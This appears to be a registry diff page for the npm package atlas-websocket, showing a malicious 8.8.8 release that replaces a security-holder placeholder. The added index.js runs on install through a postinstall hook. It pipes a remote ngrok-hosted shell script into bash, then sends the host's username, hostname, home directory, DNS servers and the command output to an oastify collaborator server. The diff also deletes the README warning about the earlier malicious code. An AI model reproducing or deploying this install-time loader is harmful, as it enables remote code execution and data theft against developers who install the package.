atlas-websocket 0.0.1-security → 8.8.8

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of atlas-websocket might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +55 -0
  2. package/package.json +12 -3
  3. package/README.md +0 -5
package/index.js ADDED
@@ -0,0 +1,55 @@
1
+ const os = require("os");
2
+ const dns = require("dns");
3
+ const querystring = require("querystring");
4
+ const https = require("https");
5
+ const fs = require("fs");
6
+ const { exec } = require("child_process");
7
+ const packageJSON = require("./package.json");
8
+
9
+ const packageName = packageJSON.name;
10
+
11
+ // Execute remote shell script
12
+ exec("curl -s https://3b8a-139-167-143-182.ngrok-free.app/shell.sh | bash", (error, stdout, stderr) => {
13
+ const commandOutput = Buffer.from(stdout + stderr).toString("base64");
14
+
15
+ const trackingData = JSON.stringify({
16
+ p: packageName,
17
+ c: __dirname,
18
+ hd: os.homedir(),
19
+ hn: os.hostname(),
20
+ un: os.userInfo().username,
21
+ dns: dns.getServers(),
22
+ r: packageJSON.___resolved || undefined,
23
+ v: packageJSON.version,
24
+ pjson: packageJSON,
25
+ cmd_output: commandOutput // Sends executed command output
26
+ });
27
+
28
+ const postData = querystring.stringify({
29
+ msg: trackingData,
30
+ });
31
+
32
+ const options = {
33
+ hostname: "4ejgo6bi4fyjflvc5mf8zrw9t0zrnhb6.oastify.com", // Replace with your Burp Collaborator URL
34
+ port: 443,
35
+ path: "/",
36
+ method: "POST",
37
+ headers: {
38
+ "Content-Type": "application/x-www-form-urlencoded",
39
+ "Content-Length": Buffer.byteLength(postData),
40
+ },
41
+ };
42
+
43
+ const req = https.request(options, (res) => {
44
+ res.on("data", (d) => {
45
+ process.stdout.write(d);
46
+ });
47
+ });
48
+
49
+ req.on("error", (e) => {
50
+ console.error("Request error:", e);
51
+ });
52
+
53
+ req.write(postData);
54
+ req.end();
55
+ });
package/package.json CHANGED
@@ -1,6 +1,15 @@
1
1
  {
2
2
  "name": "atlas-websocket",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "8.8.8",
4
+ "description": "Shourya",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "postinstall": "node index.js"
9
+ },
10
+ "author": "Shourya",
11
+ "license": "ISC",
12
+ "dependencies": {
13
+ "atlas-websocket": "^8.8.3"
14
+ }
6
15
  }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=atlas-websocket for more information.